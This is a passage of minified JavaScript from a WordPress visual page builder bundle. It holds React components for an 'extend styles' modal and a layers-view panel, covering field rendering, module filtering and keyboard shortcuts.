t=e.targetModule,n=e.extendStylesData;fe.b.extendStylesModalUpdate(t.address,n)}),t(!0))},0)}).then(function(){e.onClose()})}},{key:"getExtendSourceFields",value:function(){var e=this,t=this.getSelectedModule(),n=this.getSelectedModuleType(),o=this.getModuleFields(t),r=[];switch(this.getSelectedSource()){case"module":var i=j()(o);r=[].concat(Se(i),Se(Object(Ce.a)(n,i)));break;case"options_group":var a=this.getSelectedElement("payload.fields");r=[].concat(Se(a),Se(Object(Ce.a)(n,a)));break;default:var s=this.getSelectedElement("payload.option");Z()(s)&&(s=[s]),r=[].concat(Se(s),Se(Object(Ce.a)(n,s)))}var l=this.getSelectedElement("payload.toggleId"),u=this.getSelectedElement("payload.toggleGroupId"),c=r.map(function(t){return e.convertCustomCSSFieldName(t,u,l)}),d=V()(o,function(t,n){var o=Object(ve.getProcessedTabSlug)(t.tab_slug),r=e.convertCustomCSSFieldName(n,t.tab_slug,t.toggle_slug);return("general"!==o||"background"===t.toggle_slug)&&(("css"!==o||"classes"!==t.toggle_slug)&&k()(c,r))});return!T()(d)&&(d=Ee({},d,be.a.getHoverFieldsDefinition(d),ye.a.getStickyFieldsDefinition(d)))}},{key:"convertCustomCSSFieldName",value:function(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"";return"css"===t&&"custom_css"===n&&X()(e,"custom_css_")?te()(e,"custom_css_",""):e}},{key:"prependCustomCSSFieldName",value:function(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"";return"css"!==t||"custom_css"!==n||X()(e,"custom_css_")?e:"custom_css_"+e}},{key:"getExtendTargetModules",value:function(){var e=this,t=he.a.getSectionsFlattened(),n=this.getSelectedModule("props.address"),o=Object(ve.getModuleAddressSequence)(n),r=d()(t,function(t){return e.getModuleStructure(t.type)===e.state.throughout&&k()(o,t.address)});return t.filter(function(t){var n=m()(t,"type",""),o=n.replace("_inner","");return"module"===e.state.to?e.getModuleStructure(o)===e.state.to:e.getModuleStructure(e.state.to)===e.getModuleStructure(o)&&(("et_pb_column"!==n||"et_pb_specialty_section"!==m()(t,"parent_slug")||!d()(m()(t,"content",[]),function(e){return"et_pb_row_inner"===e.type}))&&(o===e.state.to||t.is_module_child&&o===m()(me.d.getModuleChildSlugs(),e.state.to)))}).filter(function(t){return"page"===e.state.throughout||k()(Object(ve.getModuleAddressSequence)(t.address),m()(r,"address"))}).filter(function(e){return!Object(ve.isModuleLocked)(e,t)}).filter(function(n){return!(e.getSelectedModule("props.is_module_child",!1)&&!T()(n.child_slug)&&!T()(d()(t,{parent_address:n.address})))&&!(!T()(e.getSelectedModule("props.child_slug",""))&&n.is_module_child&&!T()(d()(t,{address:n.parent_address})))}).filter(function(e){return e.address!==n})}},{key:"getExtendTargetModulesFields",value:function(e,t){var n=this,o=this.getSelectedModule("props"),r=this.getSelectedModuleType(),i=JSON.parse(m()(o,"attrs.global_colors_info","{}")),a={},s=[];return f()(t,function(t){var l={},c=m()(t,"type","");if(c===r)f()(e,function(e){if(v()(e,"name")){var r=n.prependCustomCSSFieldName(e.name,e.tab_slug,e.toggle_slug);l[r]=n.getExtendStylesValue(e,o,e,t);var s=n.getGlobalColorsData(r,l,i);x()(s)||(a=s)}});else{var p=n.getModuleFields({props:t});p=Ee({},p,be.a.getHoverFieldsDefinition(p),ye.a.getStickyFieldsDefinition(p)),f()(e,function(e){var s={};if(v()(e,"name")){var f=n.convertCustomCSSFieldName(e.name,e.tab_slug,e.toggle_slug);if(Me.has("targetField",f,r,c))s=Me.get("targetField",f,r,c);else{if(v()(p,f))s=m()(p,f);else{var h={moduleType:r,field:e};s=d()(p,function(e){var t=u()({},{moduleType:c,field:e});return he.a.getModuleFieldsMapping(h,t)})}Me.set(s,"targetField",e.name,r,c)}}if(!T()(s)&&v()(s,"name")){var g=n.prependCustomCSSFieldName(e.name,e.tab_slug,e.toggle_slug);l[g]=n.getExtendStylesValue(e,o,s,t);var b=n.getGlobalColorsData(g,l,i);x()(b)||(a=b)}})}T()(l)||(l.global_colors_info=a,s.push(u()({},{targetModule:t,extendStylesData:l})))}),s}},{key:"getExtendStylesValue",value:function(e,t,n,o){var r=this.prependCustomCSSFieldName(e.name,e.tab_slug,e.toggle_slug),i=m()(t,"attrs."+r);if("font"!==m()(e,"type")||"option"!==this.getSelectedSource())return i;var a=i.split("|"),s=m()(n,"name"),l=m()(o,"attrs."+s,"||||||||").split("|"),u=Object(ve.getFontFieldIndexes)(this.getSelectedField("subField","font"));return f()(u,function(e){l[e]=a[e]}),l.join("|")}},{key:"getSelectedSource",value:function(){return m()(this.props,"source")}},{key:"getSelectedElement",value:function(e,t){var n=m()(this.props,"element"),o=m()(n,"payload.toggleGroupId",""),r=m()(n,"payload.toggleId","");if("css"===o&&"custom_css"!==r){var i=X()(n.elementId,"custom_css_")?te()(n.elementId,"custom_css_",""):n.elementId;n.elementId=i}return x()(e)?n:m()(n,e,t)}},{key:"getSelectedModule",value:function(e,t){var n=m()(this.props,"module");return x()(e)?n:m()(n,e,t)}},{key:"getSelectedModuleType",value:function(){return this.getSelectedModule("props.type")}},{key:"getSelectedModuleTitle",value:function(){var e=this.getSelectedModuleType();return Me.has("getSelectedModuleTitle",e)?Me.get("getSelectedModuleTitle",e):Me.set(he.a.getModuleTitle(e),"getSelectedModuleTitle",e)}},{key:"getSelectedModuleTitlePlural",value:function(){var e=this.getSelectedModuleType();return Me.has("getSelectedModuleTitlePlural",e)?Me.get("getSelectedModuleTitlePlural",e):Me.set(he.a.getModuleTitlePlural(e),"getSelectedModuleTitlePlural",e)}},{key:"getSelectedModuleStructure",value:function(){var e=this.getSelectedModuleType();return Me.has("getSelectedModuleStructure",e)?Me.get("getSelectedModuleStructure",e):Me.set(this.getModuleStructure(e),"getSelectedModuleStructure",e)}},{key:"getSelectedField",value:function(e,t){var n=this.getSelectedElement("elementId"),o=Object(ve.getProcessedTabSlug)(this.getSelectedElement("payload.tabSlug")),r=this.getSelectedElement("payload.toggleId"),i=this.getSelectedModule(),a=d()(this.getModuleFields(i),{name:n,tab_slug:o,toggle_slug:r}),s=u()({},{name:n,type:this.getSelectedElement("payload.option_family"),label:this.getSelectedElement("payload.optionTitle"),subField:this.getSelectedElement("subElementId")},a);if(s.default_on_child&&C()(s.default)&&2===s.default.length){var l=this.getSelectedModule("props.attrs."+s.default[0]);s.default=l?m()(s.default[1],l,""):""}return x()(e)?s:m()(s,e,t)}},{key:"getSelectedFieldValue",value:function(){return this.getFieldValue(m()(this.getSelectedField(),"name"),this.getSelectedField(),this.getSelectedModule("props"))}},{key:"getFieldValue",value:function(e,t,n){var o=n||this.getSelectedModule("props"),r=o.attrs||{},i=void 0;if(("content"===e||m()(t,"is_fb_content",!1))&&(i=m()(o,"content")),"custom_padding"===t.type&&"custom_padding"!==e){var a=k()(["et_pb_row","et_pb_row_inner"],o.type),s=Object(ve.isOn)(m()(o,"attrs.specialty")&&"et_pb_section"===m()(o,"type"));if(a||s){var l=e.replace("padding_",""),u=Object(ve.hasValue)(r["padding_"+l+"_last_edited"])?r["padding_"+l+"_last_edited"].split("|"):[],c=(m()(r,"padding_top_"+l,"")||"").trim()+"|"+(m()(r,"padding_right_"+l,"")||"").trim()+"|"+(m()(r,"padding_bottom_"+l,"")||"").trim()+"|"+(m()(r,"padding_left_"+l,"")||"").trim()+"|"+(m()(r,"padding_top_bottom_link_"+l,"")||"").trim()+"|"+(m()(r,"padding_left_right_link_"+l,"")||"").trim();switch(x()(u[1])?"desktop":u[1]){case"phone":i=m()(r,"padding_"+l+"_phone","");break;case"tablet":i=m()(r,"padding_"+l+"_tablet","");break;default:i=c}}}if("center_map"===t.type)switch(o.type){case"et_pb_map_pin":i=JSON.stringify(B()(r,["pin_address","pin_address_lat","pin_address_lng","zoom_level"]));break;default:i=JSON.stringify(B()(r,["address_lat","address_lng","zoom_level"]))}if("select_with_option_groups"===t.type&&(i=m()(z()(m()(r,e,m()(t,"default"))).split("|"),1,"none")),m()(t,"mobile_options",!1)){var d=m()(r,e+"_last_edited","off|desktop").split("|");Object(ve.isOn)(m()(d,0,"off"))&&"desktop"!==m()(d,1,"desktop")&&(i=m()(r,e+"_"+m()(d,1)))}return x()(i)&&(i=m()(r,e,m()(t,"default"))),i}},{key:"getGlobalColorsData",value:function(e,t,n){if(e.includes("_color")&&!x()(t[e])){var o={};return f()(n,function(t,n){t.includes(e)&&(o[n]=m()(o,n,[]),o[n].push(e))}),o}}},{key:"renderField",value:function(e,t,n){var i,s=this.getSelectedModule(),l=!(!s.isModuleItem||x()(s.parentModule.props.type))&&s.parentModule.props.type?e.name+"_child":e.name,c={slug:e.type,type:"field"},d=u()({},e,{resetValue:!1,mobile_options:!1,disableReset:!0,uniqueKey:l,processedKey:l,animate:m()(this.props,"options.animate",!1),fieldDefinition:e,matching:c}),p=m()(d,"type","text"),f=p.replace("_","-"),h=Object(ke.g)(d.value),g=T()(n),v=a()((Te(i={},"et-fb-form__group--"+this.slug,!0),Te(i,"et-fb-form__group--"+f,!0),Te(i,"et-fb-form__group--readonly",d.readonly),i)),b=a()(Te({"et-fb-settings-options":!0,"et-fb-option--depends-on":!x()(e.depends_default)||!x()(e.depends_show_if)||!x()(e.depends_show_if_not),"et-fb-option--select-with-option-groups":"select_with_option_groups"===p&&e.groups},"et-fb-option--"+f,!0)),y=a()(Te({"et-fb-option-container":!0},"et-fb-option-container--"+f,!0)),_=Object(o.createElement)(le.a.getControl(p),d);return r.a.createElement(pe.b,{className:v,name:l,key:this.slug+"-form-group-"+l,onMouseEnterGroup:g?I.a:this.onMouseEnterGroup,onMouseLeaveGroup:g?I.a:this.onMouseLeaveGroup,hovered:this.isOptionHovered(d.name)},r.a.createElement(pe.c,{name:l,hoveredGroup:this.state.hoveredGroup===l,activeHelp:this.state.activeDescription===l,onClickHelp:this._onClickHelp},t),r.a.createElement(pe.a,{active:this.state.activeDescription===l},n),r.a.createElement("div",{className:b},r.a.createElement("div",{className:y},r.a.createElement(ue.a,{componentName:l},h&&k()(_e.a.supportedFieldTypes,p)?r.a.createElement(_e.a,{type:d.dynamic_content||p,fieldName:d.name,fieldType:p,value:d.value,dynamicAttributes:[d.name],previewMode:"background",showSettingsButton:!1,showDisableButton:!1,onChange:d._onChange},_):_))))}},{key:"renderFieldSource",value:function(){var e=this;if("module"===this.getSelectedSource()){var t=this.getSelectedModuleTitle(),n=this.getSelectedModuleTitlePlural(),o=Object(ve.sprintf)(Pe.labels.extend_module,t,n);return r.a.createElement(pe.b,null,r.a.createElement(pe.c,null,xe.decode(o)))}if("options_group"===this.getSelectedSource()){var i=this.getSelectedElement("payload.toggleTitle"),a=Pe.labels.extend_options_group.replace(/%s/g,i);return r.a.createElement(pe.b,null,r.a.createElement(pe.c,null,xe.decode(a)))}var s=this.getSelectedModule(),l=this.getSelectedElement("payload.option"),c=this.getSelectedField(),d=k()(["composite"],m()(c,"type"));if(!T()(c)&&!d){var p=u()({},c,{value:this.getSelectedFieldValue()}),h=this.getSelectedElement("payload.optionTitle"),g=function t(n){K()(n,"module",e),K()(n,"readonly",!0),K()(n,"visible",!0),K()(n,"_onChange",I.a);var o=m()(n,"type");if("transform"===o&&(n.transform_type=(""+n.name).replace("transform_","")),X()(o,"background-")){K()(n,"type","background"),K()(n,"activeTab",o.replace("background-","")),K()(n,"isDescriptionVisible",function(){return!1}),K()(n,"isHoveredGroup",function(){return!1}),K()(n,"onMouseEnterGroup",I.a),K()(n,"onMouseLeaveGroup",I.a);var r={};f()(e.getModuleFields(s),function(e){k()(l,e.name)&&(r[e.name]=u()({},t(e)))}),K()(n,"backgroundFields",r)}if("font"===o){var i=m()(n,"group_label",""),a=m()(n,"value","||||||||").split("|"),c={font:m()(a,0,""),weight:m()(a,1,""),italic:m()(a,2,""),uppercase:m()(a,3,""),underline:m()(a,4,""),capitalize:m()(a,5,""),strikethrough:m()(a,6,""),line_style:m()(a,7,""),line_color:m()(a,8,"")},d=Object(ve.isOn)(m()(c,"underline"));switch(n.subField){case"weight":K()(n,"label",je.fontWeight);break;case"style":K()(n,"label",je.fontStyle);break;case"line_color":var p=d?je.underline:je.strikethrough,h=je.color;K()(n,"label",p+" "+h);break;case"line_style":var g=d?je.underline:je.strikethrough,v=je.style;K()(n,"label",g+" "+v);break;default:K()(n,"label",m()(je,n.subField,""))}T()(i)||K()(n,"label",i+" "+n.label),K()(n,"subFieldLabel",!1)}if(X()(o,"color")&&(K()(n,"hideColorManagerLinks",!0),K()(n,"hideHarmoniousPalette",!0),K()(n,"hideCurrentColorWrapper",!0),K()(n,"hideColorResetButton",!0),K()(n,"showCustomInput",!0),K()(n,"hasPreview",!1)),"select_with_option_groups"===o&&(K()(n,"hideAddButton",!0),K()(n,"hideRemoveButton",!0),K()(n,"hideFetchButton",!0)),"center_map"===o&&(K()(n,"disableAction",!0),K()(n,"hideUpdateButton",!0)),"conditional_logic"===o&&(K()(n,"hideAddButton",!0),K()(n,"hideDeleteButton",!0)),"categories"===o&&(K()(n,"categories_list",{}),T()(n.taxonomy_name)&&K()(n,"taxonomy_name","category")),"select"===o&&x()(n.default)&&!T()(n.options)){var b=C()(n.options)?[]:{};f()(n.options,function(e,t){O()(e)||C()(e)?f()(e,function(e,t){b[t]=e}):b[t]=e}),T()(b)||K()(n,"default",C()(b)?y()(b):y()(j()(b)))}return n}(p),v=xe.decode(Pe.labels.extend_option.replace(/%s/g,m()(g,"label",h)));return this.renderField(g,v)}var b=this.getSelectedElement("payload.optionTitle"),_=Pe.labels.extend_option.replace(/%s/g,b);return r.a.createElement(pe.b,null,r.a.createElement(pe.c,null,xe.decode(_)))}},{key:"renderFieldTo",value:function(){if("module"===this.getSelectedSource())return!1;var e,t,n,o=(e=this.getSelectedModuleStructure(),t=N()(V()(u()({},he.a.getModules()),function(e){return e.is_official_module&&(Object(ve.isOn)(e.is_parent)||k()(["et_pb_column","et_pb_column_inner"],e.label))}),function(e,t){var n=he.a.getModuleTitlePlural(t);return Pe.labels.all.replace("%s",T()(n)?e.title:n)}),n=N()(u()({},Pe.options.to),function(e,n){return"containers"===n?B()(t,["et_pb_section","et_pb_row","et_pb_column","et_pb_column_inner"]):u()({},e,A()(t,["et_pb_section","et_pb_row","et_pb_row_inner","et_pb_column","et_pb_column_inner"]))}),V()(n,function(t,n){return("module"!==e||"containers"!==n)&&t}));return this.renderField({options:o,type:"select",name:"to",default:this.state.to,value:this.state.to,optionGroups:Pe.groups.to,searchable:!0,_onChange:this.onChangeField},Pe.labels.to)}},{key:"renderFieldThroughout",value:function(){var e=Pe.options.throughout,t=j()(e),n=this.getSelectedModule("props.parent_slug"),o=this.getSelectedModuleType(),r=this.getModuleStructure(o),i=this.getModuleStructure(this.state.to),a="module"===r?t:J()(t,t.indexOf(r)),s=("module"===i?t:G()(t,t.indexOf(i))).filter(function(e){return"module"===r?"et_pb_section"===n||-1!==n.indexOf("fullwidth")?!k()(["row","column"],e):"et_pb_specialty_column"!==n||!k()(["row"],e):!k()(a,e)||e===r}),l={options:B()(e,s),type:"select",name:"throughout",default:this.state.throughout,value:this.state.throughout,_onChange:this.onChangeField};return this.renderField(l,Pe.labels.throughout)}},{key:"render",value:function(){var e,t,n=this.state.buttonState?r.a.createElement(se.a,{icon:this.state.buttonState,color:"#FFFFFF"}):Pe.button,o=[r.a.createElement(ae.a,{block:!0,info:!0,ink:!1,tooltip:Pe.button,disable:!1!==this.state.buttonState,__onClick:this.state.buttonState?I.a:this.onExtendStyles},n)],i=Object(we.e)().snapLocation,s=Ee({},this.props,{measurement:Object(we.b)(),disableFullscreenButton:!0,disableSnapButton:!0,disableResizeButton:!0}),l=a()((Te(e={"et-fb-modal__module-settings":!0},"et-fb-modal__"+this.slug,!0),Te(e,"et-fb-modal__"+this.slug+"--"+this.getSelectedSource(),!0),e)),u=a()((Te(t={"et-fb-tabs__panel":!0},"et-fb-tabs__panel--"+this.slug,!0),Te(t,"et-fb-tabs__panel--"+this.slug+"--"+this.getSelectedSource(),!0),t)),c=a()(Te({"et-fb-form":!0},"et-fb-form--"+this.getSelectedSource(),!0));return r.a.createElement(ce.a,Ee({className:l,footerButtons:o,fullscreen:Object(we.c)(),label:xe.decode(Pe.title),position:Object(we.a)(),snapLocation:i,_closeFunction:this.state.buttonState?I.a:this.onClose,globalUpdate:!0},s),r.a.createElement(ue.a,null,r.a.createElement(de.d,{selectedIndex:0},r.a.createElement(de.c,{className:u,slug:this.slug,selected:!0},r.a.createElement("div",{className:c},r.a.createElement("div",{className:"et-fb-form--inner"},this.renderFieldSource(),this.renderFieldTo(),this.renderFieldThroughout()))))))}}]),t}();t.default=Le},function(e,t,n){"use strict";n.r(t),function(e){var o=n(1),r=n.n(o),i=n(4),a=n.n(i),s=n(22),l=n.n(s),u=n(15),c=n.n(u),d=n(52),p=n.n(d),f=n(11),h=n.n(f),m=n(2),g=n.n(m),v=n(31),b=n.n(v),y=n(8),_=n.n(y),k=n(38),w=n.n(k),C=n(7),E=n.n(C),O=n(34),S=n.n(O),T=n(115),M=n.n(T),x=n(62),P=n(12),j=n(51),L=n(138),N=n(9),D=n(639),A=n(815),F=n(229),I=n(162),R=n(40),B=n(1484),W=n(1485),V=n(609),H=n(918),G=n(3),U=n(674),z=n(402),q=n(0),K=n(1326),$=n(50),X=n(249),Y=(n(1487),Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}),J=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();function Q(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var Z=g()(ETBuilderBackend,"i18n.modals.layersView"),ee=["currentTourElement","editEnabled","multiSelectLastSelection"],te=["filterDropdownActive","filterNotice"],ne={parent:"> .et-fb-layers-view",connectWith:!1,child:".et_pb_section",childSlug:"section",handle:"> .et_fb_move_module_handler",update:function(t,n){var o=e(this),r=ETBuilderBackend.i18n.sortable;G.a.abIsMode("on")||G.a.isAllowedAction("ab_testing")||(alert(r.has_no_ab_permission),o.sortable("cancel"),n.sender&&e(n.sender).sortable("cancel"),P.b.cancelDraggingModule())},root:!0,placeholderHeight:"4px",wireframeMode:!1,layersView:!0},oe=function(t){function n(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,n);var t=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,e));t.renderBreakpoint=15,t.renderCounter=0,t.filterInput=p()(function(e,n){t.isComponentMounted&&t.setState({filterValue:n},function(){setTimeout(function(){P.b.setLayersViewFilterSearch(t.state.filterSelected,n)},0)})},300);return t.containerRef=r.a.createRef(),t.slug="layers-view",t.searchFilters=t.getSearchFilters(),t.state={index:null,filterDropdownActive:!1,filterSelected:void 0,filterValue:""},t.defaultModalHeight=444,t.defaultModalWidth=300,t.isComponentMounted=!1,t.scrollTimeout=100,setTimeout(function(){return P.b.setLayersViewContextMenuCallback(e.contextMenuCallback)},0),t.forceUpdateLayers=t.forceUpdateLayers.bind(t),t.filterSelect=t.filterSelect.bind(t),t.filterDropdownToggle=t.filterDropdownToggle.bind(t),t.filterReset=t.filterReset.bind(t),t.filterResetAll=t.filterResetAll.bind(t),t.maybeCloseDropdown=t.maybeCloseDropdown.bind(t),t.maybeShowFilterNotice=t.maybeShowFilterNotice.bind(t),t.maybeRenderFilterNotice=t.maybeRenderFilterNotice.bind(t),t.setSearchFocus=t.setSearchFocus.bind(t),t.activeLayerChange=t.activeLayerChange.bind(t),t.sectionsContentChange=t.sectionsContentChange.bind(t),t.renderLayers=t.renderLayers.bind(t),t.renderToggleAll=t.renderToggleAll.bind(t),t.handleShortcuts=t.handleShortcuts.bind(t),t.handleToggleAll=t.handleToggleAll.bind(t),t.updateModalState=t.updateModalState.bind(t),t}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(n,o["Component"]),J(n,[{key:"componentDidMount",value:function(){if(this.isComponentMounted=!0,this.debouncedSectionsContentChangee=p()(this.sectionsContentChange,100),G.a.addSectionsContentChangeListener(this.debouncedSectionsContentChangee),V.a.addActiveLayerChangeListener(this.activeLayerChange),V.a.addLayerDataChangeListener(this.forceUpdateLayers),!G.a.isProductTourActive()){var t=e(this.containerRef.current);setTimeout(function(){Object(z.a)(t,ne)},150)}var n=V.a.getActiveLayer();Object($.o)(g()(n,"props.scrollToLayerOnModal"))&&setTimeout(function(){return Object(X.o)(n)},this.scrollTimeout),n||this.setSearchFocus(),G.a.getActiveModule()?(q.default.appWindow().removeEventListener("keydown",this.handleShortcuts),q.default.topWindow().removeEventListener("keydown",this.handleShortcuts)):(q.default.appWindow().addEventListener("keydown",this.handleShortcuts),q.default.topWindow().addEventListener("keydown",this.handleShortcuts,{useCapture:!0})),q.default.topDocument().addEventListener("keydown",this.handleShortcuts),q.default.topWindow().addEventListener("mousedown",this.maybeCloseDropdown)}},{key:"shouldComponentUpdate",value:function(e,t){var n=M()(e,ee),o=M()(this.props,ee),r=M()(t,te),i=M()(this.state,te);return!w()(n,o)||!w()(r,i)}},{key:"componentDidUpdate",value:function(t,n){var o=this.props.editEnabled,r=V.a.getActiveLayer(),i=V.a.isFilterActive();if(!G.a.isProductTourActive()){var a=e(this.containerRef.current);setTimeout(function(){Object(z.a)(a,c()(ne,{force:!0,disabled:i}))},150)}var s=!(i||w()(n.filterValue,this.state.filterValue)&&w()(n.filterSelected,this.state.filterSelected));!r&&s&&this.setSearchFocus();var l=G.a.isSettingsModalOpen("settings_modal"),u=!_()(o)&&!w()(t.editEnabled,o),d=g()(o,"props.address")!==g()(r,"props.address");l&&u&&d&&(setTimeout(function(){return P.b.setActiveLayer(o)},0),setTimeout(function(){return Object(X.o)(o)},this.scrollTimeout)),this.maybeShowFilterNotice(),w()(t.multiSelectLastSelection,this.props.multiSelectLastSelection)||this.debouncedSectionsContentChangee()}},{key:"componentWillUnmount",value:function(){this.isComponentMounted=!1,G.a.removeSectionsContentChangeListener(this.debouncedSectionsContentChangee),V.a.removeActiveLayerChangeListener(this.activeLayerChange),V.a.removeLayerDataChangeListener(this.forceUpdateLayers),q.default.appWindow().removeEventListener("keydown",this.handleShortcuts),q.default.topDocument().removeEventListener("keydown",this.handleShortcuts),q.default.topWindow().removeEventListener("keydown",this.handleShortcuts),q.default.topWindow().removeEventListener("mousedown",this.maybeCloseDropdown),setTimeout(function(){return P.b.clearLayerData()},0)}},{key:"getSearchFilters",value:function(){var e=ETBuilderBackend.i18n.modals.layersView.searchFilterItems,t={};return h()(e,function(e,n){E()(t[n])&&(t[n]={}),h()(e,function(e,o){t[n][o]=e})}),h()(ETBuilderBackend.modules,function(e){var n=Object(q.getComponentType)({type:g()(e,"label")});if(Object($.o)(e.is_parent)&&Object($.o)(e.vb_support)&&b()(e,"title")&&b()(e,"label")&&"module"===n){var o=e.label.replace("et_pb_","");t.show_only[o.replace(/_/g,"-")]=e.plural?e.plural:e.title}}),t}},{key:"setSearchFocus",value:function(){var e=this;setTimeout(function(){var t=q.default.$topWindow(".et-fb-modal__"+e.slug).find(".et-fb-options-filter input");t.length&&t.trigger("focus")},100)}},{key:"sectionsContentChange",value:function(){this.isComponentMounted&&(P.b.resetLayerData(),V.a.isFilterActive()&&P.b.setLayersViewFilterSearch(this.state.filterSelected,this.state.filterValue),this.forceUpdate())}},{key:"activeLayerChange",value:function(e,t){if(this.isComponentMounted){var n=V.a.isFilterActive(),o=!_()(e)&&Object($.o)(g()(e,"props.scrollToLayerOnModal"));n&&o&&!w()(t,e)&&this.filterResetAll(),o&&setTimeout(function(){return Object(X.o)(e)},this.scrollTimeout)}}},{key:"forceUpdateLayers",value:function(){this.isComponentMounted&&this.forceUpdate()}},{key:"filterSelect",value:function(e){var t=this;this.setState({filterDropdownActive:!1,filterSelected:e},function(){setTimeout(function(){P.b.setLayersViewFilterSearch(e,t.state.filterValue)},0)})}},{key:"filterDropdownToggle",value:function(){this.setState({filterDropdownActive:!this.state.filterDropdownActive})}},{key:"filterReset",value:function(){this.setState({filterDropdownActive:!1,filterSelected:void 0}),P.b.setLayersViewFilterSearch(void 0,this.state.filterValue)}},{key:"filterResetAll",value:function(){this.setState({filterDropdownActive:!1,filterSelected:void 0,filterValue:""}),P.b.setLayersViewFilterSearch(void 0,"")}},{key:"maybeCloseDropdown",value:function(t){if(this.state.filterDropdownActive){e(t.target).closest(".et-fb-options-filter-dropdown-wrap, .et-fb-options-filter-button-group").length<1&&this.filterDropdownToggle()}}},{key:"maybeShowFilterNotice",value:function(){var e=V.a.isFilterActive();V.a.isEmptyFilterResults()||(e=!1),e!==this.state.filterNotice&&this.setState({filterNotice:e})}},{key:"maybeRenderFilterNotice",value:function(){if(!this.state.filterNotice||this.state.filterDropdownActive)return!1;var e=Z.filterNoticeClickable,t=Z.filterNotice.split(e);return 2===t.length?r.a.createElement("div",{className:"et-fb-options-filter-notice"},r.a.createElement("span",null,t[0]),r.a.createElement(j.a,{className:"et-fb-filter-notice-button",ink:!1,onMouseDown:this.filterResetAll,onMouseUp:this.filterResetAll},e),r.a.createElement("span",null,t[1])):r.a.createElement("div",{className:"et-fb-options-filter-notice"},r.a.createElement(j.a,{className:"et-fb-filter-notice-button",ink:!1,onMouseDown:this.filterResetAll,onMouseUp:this.filterResetAll},Z.filterNotice))}},{key:"handleShortcuts",value:function(e){var t=e.metaKey,n=e.altKey,o=e.ctrlKey,r=27===e.keyCode,i=e.shiftKey,a=32===e.keyCode,s=V.a.isFilterActive(),l=q.default.$topWindow(".et-fb-modal__"+this.slug).find(".et-fb-options-filter input"),u=l.length>0&&l.is(":focus");return u&&i&&a?(e.preventDefault(),!1):r&&u&&s?(e.stopImmediatePropagation(),this.filterResetAll(),!1):(!u||t||n||o||r||e.stopPropagation(),r&&s&&!G.a.isSettingsModalOpen("settings_modal")?(e.stopImmediatePropagation(),this.filterResetAll(),!1):void 0)}},{key:"handleToggleAll",value:function(){var e=!V.a.isAllExpanded(),t=q.default.$topWindow(".et-fb-layers-view--toggle-all"),n=q.default.$topWindow(".et-fb-layers-view");P.b.toggleAllLayers(e),t.toggleClass("et-fb-layers-view--toggle-all-expanded",e),n.find(".et_pb_section").toggleClass("et-fb-layers-view--expanded",e),n.find(".et_pb_section").find(".et-fb-layers-view--layer:not(.et_pb_row_inner)").toggleClass("et-fb-layers-view--hidden",!e)}},{key:"updateModalState",value:function(e){P.b.updateLayersViewModalState({measurement:{height:e.height,width:e.width},position:{x:e.x,y:e.y}})}},{key:"renderToggleAll",value:function(){var e=V.a.isFilterActive(),t=G.a.isEditingLibraryItem("section"),n=G.a.isEditingLibraryItem("row"),o=G.a.isEditingLibraryItem("module");if(e||t||n||o)return!1;var i=l()({"et-fb-button-group":!0,"et-fb-layers-view--toggle-all":!0,"et-fb-layers-view--toggle-all-expanded":V.a.isAllExpanded()}),a=q.default.condition("is_rtl")&&!q.default.condition("is_no_rtl")?"caret-left":"caret-right",s={margin:"-5px -4px",opacity:.5};return r.a.createElement("div",{className:i},r.a.createElement(K.a,{singleClick:this.handleToggleAll},r.a.createElement("button",{className:"et-fb-button"},r.a.createElement(R.a,{color:x.a.inactiveGrey,icon:"caret-down",size:"14",style:s}),r.a.createElement(R.a,{color:x.a.inactiveGrey,icon:a,size:"14",style:s}),r.a.createElement("div",{className:"et-fb-layers-view--toggle-all-label"},Z.toggleAll))))}},{key:"renderChildLayers",value:function(e){var t=this,n=arguments.length>1&&void 0!==arguments[1]&&arguments[1],o=arguments.length>2&&void 0!==arguments[2]&&arguments[2],i=Object(X.f)(e)?e.content:[];if(_()(i)&&(Object(q.is)("section",e)||Object(q.is)("column",e))){var a=V.a.getLayerProps(e.address);return g()(e.attrs,"_deleted")||_()(a)?null:a.isLayerVisible&&a.isLayerExpanded||a.isLayerVisible&&a.isColumnSpecialty?r.a.createElement(B.a,Y({key:"lv-layer-add-button-"+a.address},a)):null}return i.map(function(i,a){var s=V.a.getLayerProps(i.address);if(g()(e.attrs,"_deleted")||_()(s))return null;var l=Object(X.h)(Y({},e,{globalParent:n})),u=Object(X.i)(Y({},e,{lockedParent:o})),c=t.renderCounter>t.renderBreakpoint;return t.renderCounter++,r.a.createElement(W.a,Y({key:"lv-layer-"+s.address,index:a,globalParent:l,lockedParent:u,isDelayRender:c},s),t.renderChildLayers(i,l,u))})}},{key:"renderABTestingStyle",value:function(){if(!G.a.abIsMode("selecting"))return null;var e=[],t=G.a.abGetMode().replace("_","-"),n=[".et-fb-modal__layers-view .et-fb-editable-element",".et-fb-modal__layers-view .et_pb_section > .et_fb_move_module_handler > .et-fb-layers-view--content",".et-fb-modal__layers-view .et_pb_row > .et_fb_move_module_handler > .et-fb-layers-view--content",".et-fb-modal__layers-view .et_pb_module > .et_fb_move_module_handler > .et-fb-layers-view--content"];e.push([{selector:n.join(", "),declaration:"cursor: url("+ETBuilderBackend.images_uri+"/cursor-"+t+".png), default !important;"}]),e.push([{selector:S()(n,function(e){return".ie "+e+", .edge "+e}).join(", "),declaration:"cursor: url("+ETBuilderBackend.images_uri+"/cursor-"+t+".cur), default !important;"}]),e.push([{selector:S()(n,function(e){return".chrome "+e+", .gecko 